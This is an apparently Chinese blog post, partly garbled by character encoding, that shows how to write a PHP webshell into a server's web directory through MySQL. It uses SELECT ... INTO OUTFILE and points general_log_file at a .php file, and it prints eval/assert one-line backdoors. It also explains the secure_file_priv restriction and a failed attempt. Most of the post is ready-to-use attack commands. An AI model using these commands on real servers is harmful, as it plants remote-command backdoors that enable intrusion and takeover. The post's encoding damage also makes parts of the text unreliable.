【MySQL】寫文件到服務(wù)器 web目錄

寫入文件 1 - 簡(jiǎn)單的嘗試

select '<?php @eval($_POST[cmd]);?>' INTO OUTFILE 'D:/phpStudy/WWW/cmd.php'


可能報(bào)錯(cuò):
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

在mysql中使用secure_file_priv配置項(xiàng),對(duì)數(shù)據(jù)導(dǎo)入導(dǎo)出的限制。

導(dǎo)出數(shù)據(jù)表
把mydata.user表的數(shù)據(jù)導(dǎo)出來:
select * from mydata.user INTO OUTFILE '/home/mysql/user.txt';

mysql的官方:

--secure-file-priv=name Limit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() to files within specified directory

限制導(dǎo)出導(dǎo)入文件到特定目錄,其具體用法:

# 限制mysqld的導(dǎo)入和導(dǎo)出,完全禁止出。
mysqld --secure_file_prive=null


# 限制mysqld的導(dǎo)入和導(dǎo)出,只能在特定目錄 /tmp/之下
mysqld --secure_file_priv=/tmp/


# 不限制mysqld的導(dǎo)入和導(dǎo)出
在文件/etc/my.cnf中不寫 --secure_file_priv

寫入文件 2 - 通過general_log和general_log_file

--secure-file-priv

general log簡(jiǎn)介:
mysql:打開general log選項(xiàng),所有的查詢語(yǔ)句都在general log文件中以可讀的方式得到
(這樣general log文件會(huì)非常大,所以默認(rèn)是關(guān)閉的!有的時(shí)候?yàn)榱瞬殄e(cuò)等原因,會(huì)暫時(shí)打開general log)

即general_log_file會(huì)記錄所有的查詢語(yǔ)句,以原始的狀態(tài)來顯示。

寫入原理:
將general_log開關(guān)打開,語(yǔ)句指定general_log_file為1.php文件,則查詢語(yǔ)句的結(jié)果 全部寫入到general_log_file指定的文件1.php

執(zhí)行語(yǔ)句:

# 查看genera文件配置情況
show global variables like "%genera%";
#查看有讀寫權(quán)限的目錄
show global variables like ‘%secure%’;
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/upload/1.php';
SELECT '<?php assert($_POST["cmd"]);?>';

大部分都好用

有一次實(shí)測(cè)失敗了:general_log 可寫到目錄home或tmp 但web根目錄寫不了
嘗試寫web目錄的子目錄(比如img. upload)
改了log file路徑之后 general log就神奇般的自動(dòng)從ON變?yōu)镺FF了
再改回ON,下面的log路徑就自動(dòng)變回去。

# 關(guān)閉general_log
set global general_log=off;
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容